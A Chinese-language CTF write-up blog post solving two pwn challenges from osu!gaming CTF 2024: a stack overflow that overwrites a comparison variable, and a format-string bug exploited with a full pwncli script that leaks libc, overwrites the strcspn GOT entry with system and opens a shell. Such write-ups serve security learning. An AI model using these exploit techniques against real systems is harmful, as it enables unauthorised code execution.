selph
selph
发布于 2024-03-05 / 88 阅读
0
0

osu!gaming CTF 2024 (2 pwn)

前言

比赛总共4个pwn,做了2个,剩下1个没看,1个没懂

pwn - betterthanu

题目分析

给出了源码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>

FILE *flag_file;
char flag[100];

int main(void) {
    unsigned int pp;
    unsigned long my_pp;
    char buf[16];

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("How much pp did you get? ");
    fgets(buf, 100, stdin);
    pp = atoi(buf);

    my_pp = pp + 1;

    printf("Any last words?\n");
    fgets(buf, 100, stdin);

    if (pp <= my_pp) {
        printf("Ha! I got %d\n", my_pp);
        printf("Maybe you'll beat me next time\n");
    } else {
        printf("What??? how did you beat me??\n");
        printf("Hmm... I'll consider giving you the flag\n");

        if (pp == 727) {
            printf("Wait, you got %d pp?\n", pp);
            printf("You can't possibly be an NPC! Here, have the flag: ");

            flag_file = fopen("flag.txt", "r");
            fgets(flag, sizeof(flag), flag_file);
            printf("%s\n", flag);
        } else {
            printf("Just kidding!\n");
        }
    }

    return 0;
}

核心点,栈溢出变量覆盖:

    my_pp = pp + 1;

    printf("Any last words?\n");
    fgets(buf, 100, stdin);

    if (pp <= my_pp) {

这里my_pp一定是大于pp的,所以进不去下面的else分支,else分支提供flag,这里提供了个读取输入,存在缓冲区溢出问题,溢出后刚好覆盖my_pp的值

exp:

#!/usr/bin/env python3
# Date: 2024-03-02 13:50:23
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

sla(b"How much pp did you get? ", b"727")
sa(b"Any last words?\n",p64(1)*2)


ia()

flag:

What??? how did you beat me??
Hmm... I'll consider giving you the flag
Wait, you got 727 pp?
You can't possibly be an NPC! Here, have the flag: osu{i_cant_believe_i_saw_it}

pwn - miss-analyzer

题目分析

miss-analyzer ➤ checksec analyzer
[*] '/mnt/c/Users/selph/Desktop/osu!gamingCTF2024/miss-analyzer/analyzer'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char *v3; // rbx
  char abyte; // [rsp+15h] [rbp-14Bh]
  __int16 v6; // [rsp+16h] [rbp-14Ah]
  char *lineptr; // [rsp+18h] [rbp-148h] BYREF
  size_t n; // [rsp+20h] [rbp-140h] BYREF
  void *ptr; // [rsp+28h] [rbp-138h] BYREF
  size_t len; // [rsp+30h] [rbp-130h] BYREF
  void *input_ptr; // [rsp+38h] [rbp-128h] BYREF
  char format[264]; // [rsp+40h] [rbp-120h] BYREF
  unsigned __int64 v13; // [rsp+148h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( 1 )
  {
    puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
    lineptr = 0LL;
    n = 0LL;
    if ( getline(&lineptr, &n, stdin) <= 0 )
      break;
    v3 = lineptr;
    v3[strcspn(lineptr, "\n")] = 0;
    if ( !*lineptr )
      break;
    len = hexs2bin(lineptr, &ptr);              // 将输入变成十六进制,例如"0A"变成0x0A保存起来
    input_ptr = ptr;
    if ( !len )
    {
      puts("Error: failed to decode hex");      // 输入一定是十六进制用到的字符,且数量为双数
      return 1;
    }
    puts("\n=~= miss-analyzer =~=");
    abyte = read_byte(&input_ptr, &len);        // get one bytes
    if ( abyte )
    {
      switch ( abyte )
      {
        case 1:
          puts("Mode: osu!taiko");
          break;
        case 2:
          puts("Mode: osu!catch");
          break;
        case 3:
          puts("Mode: osu!mania");
          break;
      }
    }
    else
    {
      puts("Mode: osu!");
    }
    consume_bytes(&input_ptr, &len, 4LL);
    read_string(&input_ptr, &len, format, 255LL);
    printf("Hash: %s\n", format);
    read_string(&input_ptr, &len, format, 255LL);
    printf("Player name: ");
    printf(format);                             // 格式化字符串漏洞!
    putchar(10);
    read_string(&input_ptr, &len, format, 255LL);
    consume_bytes(&input_ptr, &len, 10LL);
    v6 = read_short(&input_ptr, &len);
    printf("Miss count: %d\n", (unsigned int)v6);
    if ( v6 )
      puts("Yep, looks like you missed.");
    else
      puts("You didn't miss!");
    puts("=~=~=~=~=~=~=~=~=~=~=\n");
    free(lineptr);
    free(ptr);
  }
  return 0;
}

一眼格式化字符串漏洞,这个题的难点不在格式化字符串的利用,而在于逆向这个输入格式

接收的数据转换成十六进制,然后逐字节进行判断操作

例如第一个字节用来打印内容:

    abyte = read_byte(&input_ptr, &len);        // get one bytes
    if ( abyte )
    {
      switch ( abyte )
      {
        case 1:
          puts("Mode: osu!taiko");
          break;
        case 2:
          puts("Mode: osu!catch");
          break;
        case 3:
          puts("Mode: osu!mania");
          break;
      }
    }
    else
    {
      puts("Mode: osu!");
    }

具体是什么根本无所谓

然后是consume_bytes函数:

__int64 __fastcall consume_bytes(_QWORD *a1, _QWORD *a2, int a3)
{
  __int64 result; // rax
  unsigned int i; // [rsp+2Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (int)i >= a3 )
      break;
    read_byte(a1, a2);
  }
  return result;
}

单纯的读这么几个字节,但是没有拿去用,就是跳过几个字节的意思,a3就是跳过的字节数

然后是read_string函数:

_BYTE *__fastcall read_string(_QWORD *a1, _QWORD *a2, _BYTE *a3, unsigned int a4)
{
  _BYTE *result; // rax
  char byte; // al
  unsigned int v6; // edx
  unsigned int v7; // eax
  unsigned int v10; // [rsp+24h] [rbp-1Ch]
  char i; // [rsp+28h] [rbp-18h]
  unsigned int j; // [rsp+2Ch] [rbp-14h]

  *a3 = 0;
  result = (_BYTE *)read_byte(a1, a2);
  if ( (_BYTE)result )
  {
    if ( (_BYTE)result != 0xB )                 // 第一个读到的字节需要是0b
    {
      puts("Error: failed to read string");
      exit(1);
    }
    v10 = 0;
    for ( i = 0; ; i += 7 )
    {
      byte = read_byte(a1, a2);                 // 下一个字节的含义是大小
      v10 |= (byte & 0x7F) << i;
      if ( byte >= 0 )
        break;
    }
    for ( j = 0; ; ++j )
    {
      v6 = a4;
      if ( a4 > v10 )
        v6 = v10;                               // 这里用刚刚读到的大小来继续读入字节数
      if ( v6 <= j )
        break;
      a3[j] = read_byte(a1, a2);
    }
    while ( v10 > j )
    {
      read_byte(a1, a2);
      ++j;
    }
    v7 = v10;
    if ( a4 <= v10 )
      v7 = a4;
    result = &a3[v7];
    *result = 0;
  }
  return result;
}

这个函数首先读取一个标志0x0b,然后读大小size,接下来根据大小读取指定字节数

总共就这么几个函数在操作字节,根据操作流程构造数据就行

利用分析

格式化字符串的缓冲区长度既然可控且可以设置很大,那就能一次性完成目标地址的写入,

程序的编译选项是格式化字符串题目常见的一种,Partial RELRO+No PIE

那么,攻击目标就可以是got表的strcspn函数,因为可以修改为system函数,这个函数接收的第一个参数是一个指向用户输入的指针,用户可以输入/bin/sh等命令来执行

    if ( getline(&lineptr, &n, stdin) <= 0 )
      break;
    v3 = lineptr;
    v3[strcspn(lineptr, "\n")] = 0;

exp:

#!/usr/bin/env python3
# Date: 2024-03-02 13:58:13
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *

cli_script()
set_remote_libc('libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)


def read_string(s:str):
    size = (hex(len(s))[2:].rjust(2,"0")).encode('utf-8')
    data = bytes(s,'utf-8').hex().encode()
    success(f"{size} + {data}")
    return b"0b"+size+data

def consume_bytes(nb:int)->bytes:
    return b"55"*nb

def input_1(payload):
    if type(payload) == bytes:
        payload = payload.decode()
    payload_ =consume_bytes(5)
    payload_ +=read_string("11112222")
    payload_ +=read_string(payload)
    payload_ +=read_string("ohh good")
    payload_ +=consume_bytes(10+2)
    print(payload_)
    sla(b"Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):\n",payload_)
    ru(b"Player name: ")
    return rl()[:-1]

#res = [input_1(f"%{i}$p") for i in range(20)]
#input_1("666666")
#for i in res:
#    warning(f"{i}")

# 获取地址泄露
# %3$p libc + 0x114887
leaklibc = input_1("%3$p")
leaklibc = int(leaklibc,16)
libc.address = leaklibc - 0x114887

success(f"libc  base => {hex(libc.address)}")

auto = FmtStr(input_1,offset=14)
# [*] Found format string offset: 14
one = pack(libc.address + 0xebc81)
auto.write(elf.got['strcspn'],libc.sym.system)
auto.execute_writes()

sl(b"/bin/sh")
ia()

总结

唯一的收获是,看格式化字符串题的时候要注意,把输入格式化字符串的函数构造出来,不要怕麻烦

待办+1:回头总结整理一下各种情况下的格式化字符串的攻击目标


评论